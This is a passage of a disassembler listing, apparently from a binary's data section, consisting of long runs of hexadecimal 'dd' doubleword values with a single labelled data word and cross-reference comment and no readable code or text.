dd 3BCF377h, 948B54h, 0B86F35A9h, 598C2D2Fh, 25F66C00h
dd 0F155BD7Fh, 0BA402E6h, 4B0377B6h, 0F487C85Ah, 51605644h
dd 29E02124h, 96F93A3Bh, 0DC201F79h, 754A487Eh, 0B9D60113h
dd 311E564h, 886C24FDh, 0F209C87Eh, 80C2384Bh, 68ED4EFDh
dd 7A4C26DBh, 743C268Ch, 1D130146h, 0E6FCC87Ah, 8DA5FC07h
dd 0C7D09813h, 123579B1h, 533806AEh, 832004E8h, 4CF0BB0h
dd 3960C3DCh, 0E210DB32h, 0A6C8913Fh, 32402080h, 59A5597h
dd 90C9EBA9h, 217CC667h, 5E028E06h, 0E610AB1Eh, 0C4087106h
dd 0E2D4DA78h, 0F9CC00BCh, 8885925Eh, 110802C5h, 4E02CA87h
dd 0C1A0CC43h, 0E9C0F3ABh, 14A5F20h, 427090A4h, 9A5A2525h
dd 64F4C790h, 0A0C76008h, 8C3C0124h, 4F9963B4h, 0D320389Dh
dd 1CC8388Ah, 29E4E8C0h, 0D59638C6h, 0FC2388D1h, 75C0E08h
dd 0AF7B6C28h, 53D0140h, 0B9D2D3D1h, 3C24B47Eh, 0E5CFA4Dh
dd 9884E8h, 2E23FE3Fh, 944D507Dh, 1501112h, 68F52679h
dd 8CC86C24h, 0FC9E9C20h, 59FC0A40h, 2B6F4BCh, 80DDAAAh
dd 94D84220h, 0B7E21896h, 2851129Bh, 7918F879h, 20097D07h
dd 1B0A84Dh, 4B6C3DEh, 0E63035F2h, 0C10888B0h, 13F88952h
dd 488424E0h, 1F8880CEh, 28AE3BC0h, 168C00D4h, 0FB0652CDh
dd 189689C0h, 88ADE68Ah, 0C7B4E340h, 2570B828h, 5898317Ah
dd 8D403F6Fh, 7CD013E0h, 7250C07Bh, 762842BFh, 0DAF6ECDEh
dd 7C9D3506h, 8040EE1Fh, 5D950398h, 0FC21E497h, 9BBBF902h
dd 7444059h, 90B8ACC5h, 997C8098h, 5AB20C3Ch, 0E2693EA7h
dd 2660EB07h, 0EE432A88h, 0CF35B858h, 0B70C002Fh, 0E941CC4Dh
dd 4800A234h, 0EA74635Ah, 7B195DA1h, 0F6AB0E61h, 0D3803A88h
dd 0DB08DCB5h, 53BF1E07h, 46F76E5h, 0C480676Fh, 9BF62Bh
dd 5FBDCBD6h, 0A1C2748Dh, 7B805500h, 0FACF783Fh, 9FAC0043h
dd 835134D0h, 0DB00337Dh, 31611B8Ch, 2D1DA56Ch, 1490D125h
dd 0D048DE3Ch, 57DF121Eh, 0A78814CBh, 278646C0h, 0B090018h
dd 0CD43DA94h, 7D3D5A4Bh, 0ADD4823Ch, 4102DCDEh, 5422A8ACh
dd 0CF55BF1h, 0FAC279ACh, 0ED8940Ah, 518BA4E3h, 8144AC00h
dd 3D885602h, 107670h, 0B4260B4Ch, 0BF744F24h, 6252D500h
dd 4157D84Eh, 0AAAB1864h, 22BB4044h, 804C504Dh, 5C39A4DCh
dd 58A8B4D6h, 0A400D4B3h, 29240571h, 90C241ABh, 6F8010D4h
dd 68C02EBFh, 11E01D49h, 165680ADh, 2EA70783h, 0A5C0575Dh
dd 0A95BD498h, 0C7B9881h, 0BFC84AABh, 0C54618B2h, 0D9323302h
dd 0A7314FE2h, 319A1E10h, 1325C03h, 0A81684EBh, 7B8C6280h
dd 0BABF1518h, 0D408B80Bh, 3404338Fh, 4A25F81h, 0CF4EDF1h
dd 76831DA5h, 12E7C7EFh, 20A6A4AEh, 247A97F4h, 6F8F1EEh
dd 704232ABh, 202F3C26h, 5DB88C83h, 0E783E834h, 0D76E1C09h
dd 49A8046h, 0E431D4D5h, 0E4915569h, 711A1CE8h, 4085DDE2h
dd 0D54F5087h, 210338DDh, 0F29AA3C9h, 88409D8Bh, 44C143C4h
dd 389FC0Ah, 67DFB31h, 9F98EAE3h, 302E8B82h, 0A01FB098h
dd 0B0A758A0h, 8212C123h, 0C07A0042h, 8070897Eh, 5A444B36h
dd 9A4A2D83h, 51A5C090h, 59A11109h, 2B33008Eh, 0B14686h
dd 8165A13h, 910FE2F3h, 1AD1B899h, 0D3079D18h, 0AB7AD093h
dd 27F074F3h, 88877DB8h, 0C8898D28h, 1139CE80h, 17E0610h
dd 4F491471h, 2E50408Ah, 93466F27h, 3E7ED00h, 0ACC87B59h
dd 0F474A70h, 519828D0h, 0A324768Fh, 0BC00A5F1h, 5B20131Eh
dd 0C0A702C1h, 4025A436h, 0A6E6D860h, 8FFA30A3h, 0A8100C59h
dd 4B6CE381h, 48443D24h, 1AF2354h, 0E2DF322Dh, 88AD189Fh
dd 4FB89424h, 398D7B00h, 0BB63FB73h, 22E1C08Bh, 879E7D27h
dd 285F4D05h, 0BCB29C72h, 882B901Dh, 5424F6A0h, 0D90404ADh
dd 7065B660h, 96687F25h, 0AE690044h, 6A4FA665h, 8AE2A40Ch
dd 0F57E609Ah, 60DFDE0Ah, 5E006828h, 2DCF6FE9h, 0BEC0BE25h
dd 0A7080200h, 0BA7EFB85h, 30039726h, 3F934674h, 840502C6h
dd 56303AAAh, 5700DCF4h, 0DA542B02h, 4EBC1D33h, 24282010h
dd 0BF1F71E5h, 6CC28CAFh, 542BB564h, 0EA465E78h, 0BA298000h
dd 26249C8h, 665C1072h, 0DF2381D8h, 7D00EF70h, 7A76636Fh
dd 0F04C76F5h, 0CCC235h, 3086FA19h, 0C091334Eh, 9DE7D22h
dd 0F13AA7A4h, 5F785083h, 26984B90h, 0AC2CD49Ch, 429D8831h
dd 11CC9DD2h, 0F0B680A7h, 0E8CCA1CEh, 42B902A2h, 64F21834h
dd 4DFFF460h, 2FA75C80h, 240163EEh, 0BB2C7302h, 0C47E24C9h
dd 0F91A9706h, 0E34B03A8h, 240A9F5Bh, 142B302Fh, 0E6D84408h
dd 91A5A732h, 0A0667Eh, 166A09C3h, 0E3CCD2D8h, 0C7B6D100h
dd 933F8DFDh, 3C002E4h, 0A4E59BC6h, 0FFF220DAh, 0D001FC9Ah
dd 36EA1C78h, 6AC4E260h, 99EF001Dh, 65A9DAFEh, 713A16Bh
dd 808487FFh, 0A8239C2Fh, 9C935600h, 16E1BCA2h, 94B1E5B0h
dd 0F93784B8h, 3D51378h, 0D4E2F090h, 0A84350F3h, 8D49485h
dd 8B942F5Ah, 26840020h, 1B3D7299h, 0C08104A3h, 0A48AD560h
dd 54017D50h, 0FCC76F9Ah, 4BC5ADABh, 205B8878h, 0E3C53780h
dd 71563Eh, 0D2FD74A5h, 0E9646FF6h, 8CC21420h, 0DC322E02h
dd 799097E2h, 95254034h, 0CE38E731h, 0FC6682F9h, 0C1EF18D2h
dd 4C2DE5A4h, 0F6802DC9h, 9FAD36DBh, 0BC7A6526h, 4E11C8CAh
dd 33E2DA8Fh, 0EC31E65Ch, 0A512B510h, 28293600h, 7E53E38Ah
dd 778804C5h, 0B2256237h, 0D5D81044h, 0BF3B7CAh, 0B0C5607Fh
dd 6504649Eh, 6C834AF9h, 30BCCB6h, 9FCFDCE8h, 71F4471Dh
dd 1C498E7Ch, 6B48408Bh, 2990277h, 3633D38Eh, 0F45EDF08h
dd 0D07F1402h, 446C6712h, 0A9B860EEh, 88D004E2h, 0B5C3961Fh
dd 25CE1BCh, 270B5A8h, 0AEE64B31h, 0C0638C4h, 92E5B981h
dd 9C3A2068h, 9B0E0300h, 0D3D02C2h, 74993Ch, 0C95DD993h
dd 0BD2F9557h, 5B084D3h, 27A7B64Eh, 0D6AA0C2h, 8E4CC566h
dd 0C4410272h, 42AA873Ch, 5D8F048h, 302A7D83h, 6044C07Bh
dd 0BF1E3267h, 8582D3ADh, 907DC102h, 92513D88h, 0E0680124h
dd 1B4BD8C7h, 2306E8C5h, 2E829800h, 0EA392486h, 4AD6EC4Ah
dd 237C3F36h, 0C5AD00A8h, 0D07AC1BDh, 3BD4C33Bh, 48F180CDh
dd 1529A783h, 5A472E7Ch, 79020434h, 7BF50023h, 3F6F88C9h
dd 588F87h, 0B8C16ECh, 5006FB56h, 4C619042h, 3C684947h
dd 8C8FACCCh, 15875E8h, 6033CC58h, 88CCB413h, 0C525E362h
dd 671FE468h, 149213E0h
dd 15072C5h, 0B2EBD55Bh, 7C462783h, 7DAB1D54h, 0F6AFFCC2h
dd 308C0EDh, 3E49C24h, 0D55D5A0Fh, 3300B178h, 0A5F28F74h
dd 1E0A28DDh, 4E36AE93h, 0C05316A6h, 0F3322234h, 0C6A75909h
dd 0A4D40610h, 0DEAD1240h, 0E4A8F074h, 0F882F44Eh, 300F8E3h
dd 0E0EE81D5h, 0F91F28C5h, 0DF0060B7h, 86A43712h, 1E4898F3h
dd 180E81C5h, 2FA54801h, 0F64B2D04h, 30BDA3E5h, 0E1B47E00h
dd 1FB9FA2h, 30954C0Fh, 0A016E178h, 0BC6628DEh, 0A3D195F0h
dd 5B0D661Eh, 0FE6E3942h, 645227h, 1E086104h, 96A0FBC7h
dd 2B8A990Fh, 0C61D805Ch, 5026277Ch, 4B3190B7h, 0C2D4273Ch
dd 0A2008FBAh, 24E62B8Bh, 0FC284DA6h, 0B820BB26h, 588EB23Fh
dd 5E9076C6h, 0A5009946h, 76D5CD93h, 982628C9h, 5C0E9881h
dd 0A8C177B7h, 0B2142B06h, 0F4EDF1D8h, 0DA00790Ch, 0E17B47Dh
dd 10E234D0h, 4527AA4h, 9E0317Bh, 40681F49h, 840B5F81h
dd 44B9496Dh, 0F2A7223Ch, 0DE68CD04h, 1082E9ACh, 88509D27h
dd 8460F554h, 4E31A6E0h, 4AEC9041h, 0B092263Ch, 0EF733600h
dd 0BAC0B14Bh, 0CA12072Eh, 291E777Ch, 2B31D802h, 8837F490h
dd 0C49E18B8h, 5C8BCA17h, 30F4F8C4h, 9041F779h, 0E4E75C6Ah
dd 35CA2B00h, 59F19ABFh, 7D4A9200h, 94B946C8h, 0A921673Ch
dd 821C31DFh, 5AA020AAh, 9C05A52Ah, 0A5A4E339h, 0EFC04910h
dd 0A6F0EC25h, 0C841C10Bh, 2AE69D35h, 0EC23202Fh, 92625900h
dd 12726F60h, 0A11C064Bh, 1D782798h, 8220080Eh, 2864B0h
dd 606FAC66h, 505C979Fh, 0CEB62500h, 48163D4Ah, 20B8B0C4h
dd 1F305A4Ch, 3FB679DBh, 0FB053E3Bh, 187FEA82h, 84C64D4Bh
dd 0F7786403h, 0C8922D48h, 2B46AD3h, 0C9D8D1D0h, 507036DCh
dd 0AF70080Ah, 61FD894h, 8CA534D6h, 0EFBC043Ch, 0E134038Ch
dd 8F7F8160h, 4DF51927h, 0ECC5C0C4h, 0E174677Ch, 5BDD8C02h
dd 0E2260EBFh, 9A8E488h, 343B43E7h, 0DF00A650h, 0C95FA582h
dd 0F88EB15Bh, 86282631h, 5C202586h, 80B8584Fh, 892D9D07h
dd 85896F7Ch, 4882DF54h, 0D47F2028h, 0CB87E23h, 0C5DD6904h
dd 54E303A9h, 40B7A627h, 473D600h, 35304ADFh, 8C9F338h
dd 8B891414h, 835C22B6h, 0F7CB6298h, 9EDB9581h, 727FF09Ch
dd 1EE429FDh, 0D84F6FBh, 6CE4B0E6h, 1C3DFD7Eh, 3E333F03h
dd 87F0ECF7h, 3130AB03h, 475E293Ah, 0B0B8C5h, 88C0D521h
dd 7E16F755h, 1096D4F8h, 2067269Dh, 1C7798C4h, 0F32D0775h
dd 292B3C7Dh, 9669B868h, 714BAB00h, 0AD420689h, 5BF8246Eh
dd 88D59714h, 15001FECh, 0FB6027A7h, 739FADBEh, 94A8A130h
dd 0E5326B18h, 99EFB2B6h, 0E81017A8h, 704E553h, 0C37CE3CAh
dd 0CD02FCB8h, 0FCC8EE80h, 0D421B0DAh, 65AB81D5h, 33C07F67h
dd 0EAB9640h, 0F9C0B273h, 0E4C9D210h, 8C030126h, 0A0ECAD40h
dd 9A7400E6h, 5AA4097Bh, 0EE055D54h, 7CC0F49Ch, 22C0CF2h
dd 25271FE8h, 47B3089h, 6AAC405Ah, 6F7F087Dh, 300B9DBh
dd 9FFC1BD1h, 210B68Eh, 52EFB4E3h, 0B5DBC22h, 1C11A41Dh
dd 0CC9A880h, 3B137FEDh, 0B4687E04h, 0A7AD449Eh, 2255522Fh
dd 0C491A44h, 5C429A18h, 84338210h, 5622102Eh, 0A61FDCA0h
dd 18D36172h, 31B6F881h, 15842019h, 60717F88h, 74DFE9BAh
dd 302F31EAh, 17C22E5h, 40607178h, 2EE116BDh, 262789F4h
dd 91B017EEh, 7DA78792h, 0EBAB6F12h, 0A406A068h, 6C00B717h
dd 5E53F929h, 0CC9B035Ah, 19AA899Dh, 2D0068F1h, 0CE9140A0h
dd 0A9A1D0Bh, 23F140D4h, 5C072B9Bh, 2E1A7492h, 0C2492766h
dd 585CF3A8h, 230074D1h, 1160A8F2h, 74320CCh, 0D0B9E64Bh
dd 27914C28h, 8D72BE00h, 0E1D197E8h, 384F013Bh, 86443F51h
dd 6166F830h
db 91h, 0BCh
word_505446 dw 59D0h ; DATA XREF: ___:off_435E08o
dd 690086F5h, 4A79E6D8h, 1EBA11Dh, 0E9B79523h, 0F8150A4Fh
dd 42E84E7Ch, 100BBD31h, 58184376h, 35A73F0Ch, 1A65316Fh
dd 41E6B94Eh, 8B7900DEh, 10AF8C31h, 2C001837h, 6B199D17h
dd 0D0D801B6h, 77FDAE26h, 0B861A42Eh, 13D2511h, 38F03C51h
dd 91B8B957h, 555F0029h, 581ACBC7h, 0C81F4ED2h, 7C006298h
dd 0AF957D65h, 0E24AE70Ah, 0DE680BE0h, 98667886h, 7CC33FBh
dd 8E1AF3EFh, 137C4BB1h, 980BEBD4h, 2FB87937h, 2017685Ah
dd 0E180AA91h, 0D4703923h, 0E5A79309h, 8088F133h, 0FD0E1F9Fh
dd 9700DCD7h, 616BFE0Fh, 0BDFB5F01h, 0DAF32420h, 9917A566h
dd 2CA0E089h, 0C4B7972Ch, 0EA7E6A00h, 4A310523h, 4AC043E4h
dd 7178A3E6h, 0A490D64Ah, 1F6B92E1h, 34385A2h, 2B1FF859h
dd 5A26DD88h, 0D4326F01h, 0DCC3EB08h, 17A26073h, 1606D430h
dd 930389C1h, 21002D44h, 0C4E85260h, 1580A0Fh, 0D88AA6D1h
dd 0D6DEABB4h, 344DE4A9h, 3BCEAC3h, 3CB6BB0h, 0F90002A5h
dd 0B2CCEB5Eh, 2BF2EA8h, 19E784C6h, 0B0745829h, 0DAEF00D6h
dd 3E3FC108h, 5A314E0Ch, 0A8E321C0h, 558320h, 57BDEC9Ch
dd 9F1A5CA0h, 0A42F850Fh, 0A7E6E1CCh, 0B8232B44h, 9833A8E2h
dd 5819927Bh, 506F728Dh, 907E2571h, 0F7582A0h, 8B49F42h
dd 7BE0CBEFh, 0FC27834Ah, 432C3958h, 301AA2ECh, 0B5046849h
dd 0D602780Fh, 3A7398E9h, 290097A2h, 0E9AF38C6h, 50067D2h
dd 3D086CD5h, 0A08AB70Dh, 0AA9754h, 41275ECEh, 0E31020F0h
dd 2F74BD00h, 0F8A86A4Bh, 0E92EE44h, 3B715B0h, 0E6F35C24h
dd 49F70010h, 0A5AC1474h, 0E5FC0ACCh, 9DA480A7h, 0A4168DAFh
dd 80E87CE9h, 4D7C4A6Eh, 30C539D6h, 59ABB900h, 0ECE3A6BFh
dd 1F6F8709h, 970064CDh, 0ED91F095h, 0ABE9829Dh, 6866199Ah
dd 0E4B04E90h, 40EB810Ch, 0A010B0E6h, 0B12B1CDCh, 18A6F158h
dd 33D6055Eh, 0F902D8DAh, 2CF81D8Ch, 0D0A614h, 0DDA73CBFh
dd 627DC128h, 8AD5A9F6h, 0C980C476h, 1FA85888h, 510C00F1h
dd 0FD33FB3Dh, 0AE00FFBEh, 0F0570377h, 3CD2C0DDh, 404E122Ch
dd 0B5BAD0D4h, 19F69932h, 0AFCFB704h, 80D2678Bh, 0E4A86558h
dd 2F8D6099h, 0C8894EE9h, 4011F3Ch, 197E806Eh, 5C415A49h
dd 91405B1Bh, 0E40126ADh, 8D4A0053h, 5A93553Bh, 3924088Ah
dd 6910B8E9h, 35A71921h, 0BC1E0BB4h, 91EB859h, 6C0B6D00h
dd 79FD4E7Ah, 0DC9B0087h, 3F7B7178h, 0E1057629h, 14BF77C9h
dd 5CB3C017h, 763093A2h, 6E110730h, 341FB23Ch, 0A62894CCh
dd 74B3E014h, 649150C0h, 6CD827D5h, 0DB0088C4h, 125AA5ECh
dd 40F18BEh, 17E03A3h, 884F466h, 9DB11139h, 4643C31h, 12198880h
dd 0F8FE0EE5h, 0F31B27DFh, 0EF88C49Dh, 818660F4h, 7516892Fh
dd 6404D514h, 805EF52Bh, 0D4302062h, 6E5906AFh, 3C8B4B14h
dd 0BDC0F3C8h, 0B8CFFAh, 117601Ch, 0BF5C3F39h, 0CAD850F1h
dd 6A2F7945h, 11C89757h, 4D1280A8h, 1752F0Eh, 0ADD4CBC3h
dd 0FC9130D2h, 0DF09F67Eh, 82EBB802h, 67104058h, 6094C400h
dd 576C14Ah, 27EEAECCh, 1880481h, 313CC85Bh, 613D6Fh, 39A75A12h
dd 28DE2C7Fh, 1FDD1114h, 4847A4CBh, 52B52675h, 14E44C1h
dd 49AD30E1h, 3ED4F0C1h, 0E07F582Ch, 64575846h, 0C8C92BCh
dd 0F91F7D53h, 94972389h, 0AA9D0B74h, 0B0108BD2h, 7F07DBB8h
dd 0E68391Dh, 6E7EC0BFh, 12F7995Bh, 0FAB31C3h, 0AAA680A8h
dd 0D5185907h, 49418D8Bh, 30A700B1h, 23D2BDAEh, 7E0085E2h
dd 0C76A8142h, 99707A2h, 475726FCh, 0D1114000h, 4A2D565Ah
dd 65089038h, 835902FAh, 90D1DDC9h, 1D44C847h, 294A3060h
dd 0DD722000h, 0ABBEACAFh, 0CCF7052Fh, 0FC5AFB62h, 8C01BCD8h
dd 0F0CB9826h, 3DDAE60h, 85F647h, 5140E19Dh, 5732BF67h
dd 0AA6EDF00h, 0E308EABDh, 64F252A1h, 443018E2h, 4BA6001Bh
dd 1F0807CDh, 0F7091235h, 92A4E60Eh, 2D2478A4h, 786B02B2h
dd 0DAD35980h, 0BB022D79h, 8AE03094h, 0AA188327h, 0B4F9B046h
dd 0DEAD09D3h, 70007FA7h, 0B9B777FBh, 0E8916492h, 1D18A8D1h
dd 0C0F35B00h, 0D5518503h, 0D9C60102h, 3CD8B76Fh, 39AED8D4h
dd 1C23E9h, 0F6EB6D83h, 3EEA262Dh, 1DB8B197h, 65029280h
dd 3FA43696h, 6081EC4Eh, 8308A8A7h, 72CDF344h, 5E08BC80h
dd 0C309FE46h, 0A04A7002h, 251D2479h, 1BF7ABC0h, 72A75BD9h
dd 0CCDD5B44h, 261E1080h, 34009B05h, 9156F861h, 30C72436h
dd 0B5166068h, 0A27A04B2h, 0AE692190h, 70D073C8h, 23023846h
dd 4E9E9AD7h, 5120C224h, 9BCA1C78h, 3C03172h, 0E62D4BA5h
dd 0CC886BA2h, 4AB14E4h, 8AFCC977h, 0C5F4FCE6h, 20495D01h
dd 0E4B4C57Eh, 0F6986056h, 116A03F7h, 0E5AF1524h, 3960D4BAh
dd 0AD7E84EEh, 0BF722F13h, 79789826h, 9BC9D370h, 3495806Ch
dd 0BD5C0181h, 0A4E8C010h, 0B8A396E6h, 2BAB2398h, 0BB8ACD12h
dd 0DC882021h, 1618603Eh, 30180D8Dh, 22914138h, 60EB00BDh
dd 0F87B3639h, 0DE5906ADh, 20CF2890h, 0BFF77F00h, 3C7C6048h
dd 9FA55C43h, 4DB84E4Ah, 5B5036E0h, 5C00555Ah, 0F825F0C0h
dd 9CABF37Dh, 0F11D40B0h, 30E85DADh, 183D1224h, 0DF952667h
dd 5C8868BCh, 0AA389BC9h, 3BDA6008h, 1650011Ch, 4302625Ah
dd 8CCE2EF4h, 6F83C0BAh, 4251177h, 0D00723DFh, 8444ABFCh
dd 77051337h, 8CF2A3h, 0C62B08C1h, 60D56FD6h, 0BD5F490Fh
dd 235EDC04h, 0D2CF38D0h, 0DE6C00C6h, 0BA27CDC5h, 6DEA7871h
dd 9FE9CB05h, 40F412A9h, 0C494254Eh, 6B03B051h, 0E0225A2Fh
dd 978AD540h, 0C9002464h, 2EE7B9B6h, 16B8929Ah, 0F0E17C7Fh
dd 91608BC8h, 5B53CD29h, 0F370E5E7h, 4D700354h, 6EEB8B73h
dd 6593BE80h, 68D1A809h, 3D00DA32h, 1926C5Ah, 0C508C971h
dd 7C81F1E1h, 77FF8038h, 5426954Fh, 3E4138DFh, 0B700B431h
dd 1A216F28h, 56008D14h, 65EDD319h, 2F9D18CBh, 18903633h
dd 6895B0E6h, 2DC73834h, 4E4A3E5h, 1640CC79h, 0D5913ED6h
dd 21005B44h, 57820DE5h, 39CF8364h, 0D850E16Ch, 0E4B883Bh
dd 0B0091C31h, 5069B81Fh, 3B002B22h, 5F598DC4h, 3EE471Dh
dd 877F23E4h, 40585DCBh, 9FB40C13h, 0C5CA898h, 8EA4E528h
dd 0E077F111h, 0B7784B05h, 20807EAEh, 0B0AF02DDh, 8F11021Ch
dd 6F580E81h, 722CA860h, 0A5616800h, 0C72F2295h, 0B26502D3h
dd 9C021F89h, 38883876h, 0D9C8376Eh, 8A5C34F8h, 1EF8334h
dd 59579837h, 11310070h, 3D08AAB3h, 641573B9h, 0A4337Ch
dd 2FDB16E5h, 0E3A3ECCEh, 0C8E811DDh, 0AF5A174Bh, 0DE70A062h
dd 1367C007h, 9FC3093Dh, 3D18A606h, 0BEBFD02Bh, 39224E00h
dd 80F3202Ah, 8075DB3Dh, 7426DAC1h, 424B263h, 0A4BCE9C8h
dd 16ACF8AEh, 18052C5Ch, 0DC001D26h, 88AA8C72h, 967A301Fh
dd 4877ECD0h, 9F0E3790h, 0AB3245A6h, 0BFBCC8A4h, 28CB1BADh
dd 73B01114h, 0D01F4F08h, 3E402B07h, 0D58602D8h, 0D7F480h
dd 0F87A717Fh, 2E33C0A5h, 9F7D3E03h, 36E0CEh, 816360EAh
dd 7865C20h, 95584A00h, 0D035DE40h, 7222007Ah, 0BCB19984h
dd 0EF00BE81h, 0BFC167A6h, 15C177Ch, 5A2976BDh, 0C469B6C3h
dd 8EB80EFBh, 9A1880F1h, 71C178FDh, 20BF5636h, 6C89C8DFh
dd 0C05D2500h, 9D267Bh, 9C667A56h, 83E9038Ah, 0FA780FE4h
dd 7100ACF4h, 0BBAAFFBEh, 492A66Dh, 7C16B0A5h, 0C2372C26h
dd 0C40E1D80h, 2E401408h, 1E99C998h, 3BF64C56h, 0BD35A703h
dd 0F08767F0h, 0FE188428h, 0EB48E309h, 0CA5E8F7Eh, 8B23479h
dd 5580A1BBh, 0D01A568Fh, 321F8A0h, 779063EDh, 31D71D3Fh
dd 0EA5C56CDh, 0A7EE7740h, 763B0307h, 1750F777h, 71C721h
dd 5602B553h, 36E7F085h, 8078F7Ch, 0F7806AB3h, 21197DD3h
dd 0F308A929h, 84BF9047h, 6D441810h, 3BF44401h, 44694B44h
dd 115F15E0h, 3DD91103h, 18085721h, 84659044h, 8348CFCAh
dd 5988B04Eh, 0B8503E80h, 8730C4h, 2CBB1416h, 0C058F24Bh
dd 0C8C24800h, 0A504F78Ch, 0DED200E6h, 6DE416D3h, 9500A2DFh
dd 3DB3B1E8h, 3C8BD0h, 0F70801BBh, 83D88E13h, 23933Eh
dd 0E75703DDh, 736BDFh, 0E2FAADD6h, 0A46DD390h, 9B7D8F00h
dd 0B9370A74h, 0E02E00A1h, 67FA1709h, 0A50028CFh, 1C194E4Fh
dd 0DDD825h, 92C49B9Eh, 0C5527986h, 4A5B3600h, 3596A070h
dd 818E004Dh, 5A0B7407h, 24F2F9D2h, 0F8807500h, 307FCBF7h
dd 0AF1901FFh, 7B6DDDA2h, 0AEE6ECD4h, 0F2505700h, 0EAC4EE65h
dd 2A0603E7h, 593F365Eh, 67AB16A8h, 0F903C300h, 7B574A1Bh
dd 0F010F75h, 0AFA79814h, 0FD9B108Bh, 52000EE2h, 0FFC5D9A7h
dd 38CF7753h, 8A816A32h, 144B9406h, 4CD12034h, 0A1CA8F00h
dd 983A131Ah, 16CF18A0h, 28F98043h, 3BF16000h, 42FA3455h
dd 0E98F00C5h, 0D05A506Ah, 3A18D8B2h, 1578F69Ah, 0DEB40022h
dd 0E7DF98A0h, 1D001F14h, 59A6C266h, 18862EB2h, 31F80863h
dd 8000FE40h, 0BCDBC590h, 0F143377h, 94E61AC6h, 0AAA2E4A0h
dd 5407D46Ah, 2D48CF76h, 45996CA0h, 7A40075h, 0CEB10EADh
dd 0F004769h, 0D32E0C03h, 3C183DDh, 0F9E62935h, 38982382h
dd 59240852h, 7900A48Fh, 75B6AF45h, 0DD8A07E3h, 0A960133Dh
dd 7DA63800h, 0B50717B0h, 87E4AC33h, 0F93973B0h, 0DE4E0020h
dd 1B26A1BBh, 0EA0ECB5Dh, 20CFC3F8h, 4813D262h, 0F6C40C6Bh
dd 80E066F0h, 2F00BEEAh, 0CD8917Ah, 303C6EB0h, 62107BDCh
dd 0DF4758Fh, 0F3D48A0Eh, 0A0864C05h, 0A15601F8h, 5860CE2Dh
dd 0FA4BC00Eh, 0FCEC0F0Eh, 5ACD6079h, 0DCB5FBh, 80A507B6h
dd 1F33941Ch, 17AD7002h, 572CDE4Bh, 407422C1h, 0D0E4E6E4h
dd 0D8904C00h, 1A6DA846h, 0F50E39ECh, 32B75580h, 8CA52BADh
dd 0FCD54D18h, 0C4B64A0h, 0FAB4513Eh, 0C1084110h, 80AD2A07h
dd 0B3ED88A9h, 0AC0CF72Bh, 18FD269Eh, 4B5006Ch, 6DEE18E6h
dd 0BD00AF1Dh, 888BFEC9h, 0F77C59h, 0EA2B015Bh, 0C3282ADBh
dd 68AC9C1Eh, 0A6BFB003h, 95040090h, 0DA772043h, 5F009C18h
dd 57DB6FF7h, 1FB49D28h, 83B8C540h, 54C4B668h, 1BA15088h
dd 0EA9F5100h, 70909BAFh, 0EC81003Ch, 0CF64662Eh, 4E7EE15Ah
dd 0DDB9B200h, 1F4C279Dh, 90BAE21Ah, 7844031Ah, 928BF7CFh
dd 0B49B8AF3h, 0E909DAC8h, 0A4814E0Ch, 5110B3h, 0D65B9571h
dd 1AC7273Ah, 6E36FA1Dh, 85334340h, 0C8DFD7h, 1EE0C0Ah
dd 0EF4C9B7Bh, 0FFCB6400h, 0CCF27CFBh, 0A0435A59h, 5E00AE08h
dd 0ED692ADAh, 0D27306h, 31C36C7Dh, 1D9CB0E1h, 30989777h
dd 8A0FA801h, 54CFC7Fh, 30B8CCh, 5427392Fh, 656B975Ch
dd 0C6002090h, 9E99D9FFh, 1A3D066h, 0C03612E0h, 0C8253143h
dd 59FEB23Ah, 5B75CF79h, 0D7699200h, 0FBFD8909h, 84F50423h
dd 0C0D0E78Dh, 0ED08B6B4h, 8A243A00h, 2236460Ah, 0D5F40CF8h
dd 0B3911044h, 15E1B112h, 0CB63B303h, 4BC288B0h, 0F706Ah
dd 0CDB7CA84h, 0EA4AF40Ah, 8506881Eh, 0DDD7D480h, 2A103Ah
dd 4CA27FB2h, 57DA22DEh, 0F277A700h, 45045CCBh, 3F2F3841h
dd 0E2CF5DA8h, 4C8A034Ah, 0FD560D2Bh, 75D057C8h, 92002C90h
dd 0BD3253ABh, 0BEDEEEh, 1A14293Ch, 0C3EF02C8h, 1D424902h
dd 609E198Dh, 302108A5h, 0B604C50Ah, 0F0062256h, 1045B8EEh
dd 4DA400BCh, 0F18B3C57h, 0B2090BABh, 8041925h, 0E100D404h
dd 0D3E7A06Eh, 0C13A0030h, 9EB9896h, 197C2752h, 1293353Ah
dd 0C00DD47h, 281D292Eh, 0BD0700E8h, 0B3223B9Ch, 0FD0FEAAFh
dd 0C0C37D3Ch, 0D5620576h, 980803F7h, 0ACCDBA45h, 0DAC1DDA8h
dd 4C6CD400h, 60975410h, 188E4C92h, 6481D738h, 57692B21h
dd 3DF88049h, 8EC8A214h, 2A300065h, 95F85DA5h, 6600F67Bh
dd 0FD47E685h, 5516E9h, 8390FB73h, 1AD8869Dh, 0B3DD4B00h
dd 91CAEB28h, 4FC40039h, 9AD9C940h, 6A5053F8h, 3526E280h
dd 11302B61h, 13CF3DEAh, 9A70544h, 0EC00C8AFh, 742BE98Ah
dd 0D800E070h, 9BC66012h, 0D6616Ah, 0EBF0F480h, 91DC7BDAh
dd 2B1148h, 341BABD1h, 0B53ED7Ch, 3C79D945h, 0F3F5B400h
dd 2009D793h, 12E684h, 498F8DABh, 0E9F859h, 0D3242B29h
dd 9C3FEBD2h, 18AB6324h, 2169FF00h, 0AADDBCh, 664267E3h
dd 0E781D090h, 0C9DC4000h, 0F51298A8h, 7B6303C2h, 0EC08231Ch
dd 8731DBC8h, 0E1ADE700h, 9BD2BAEh, 0A0A948B8h, 0CA2E4C00h
dd 0F594FF12h, 0B6D03A00h, 847B97D4h, 93E5008Ah, 87347F57h
dd 8000F1F3h, 0C9675511h, 6491DF5h, 962F91CEh, 611C5834h
dd 0D880435Dh, 28B66B21h, 92AD0039h, 5BF51F6Dh, 0BA00D647h
dd 0E531B064h, 63BE33h, 274DC43Bh, 0C25D150Fh, 3869307h
dd 6CE10937h, 0E0C0FB66h, 77900772h, 20B6F5CAh, 0C1848F3Fh
dd 0EBEA860Eh, 0E3514163h, 45DC5A3Bh, 54F701E7h, 2D0A040Dh
dd 4056ED99h, 2357E8BCh, 0F80E330Ch, 0A54C84h, 713014Eh
dd 3B9746FBh, 4D439800h, 4AD87752h, 0AF3900DEh, 75F57615h
dd 0EC016155h, 6F9653EBh, 1D864B4h, 84CF0057h, 0F4AFFA22h
dd 801B54Ch, 0EED992E4h, 8C20BA62h, 8283164Dh, 372C0013h
dd 5BB4865Fh, 55420B00h, 0ACADF8C9h, 8552006Ch, 0EB5E2922h
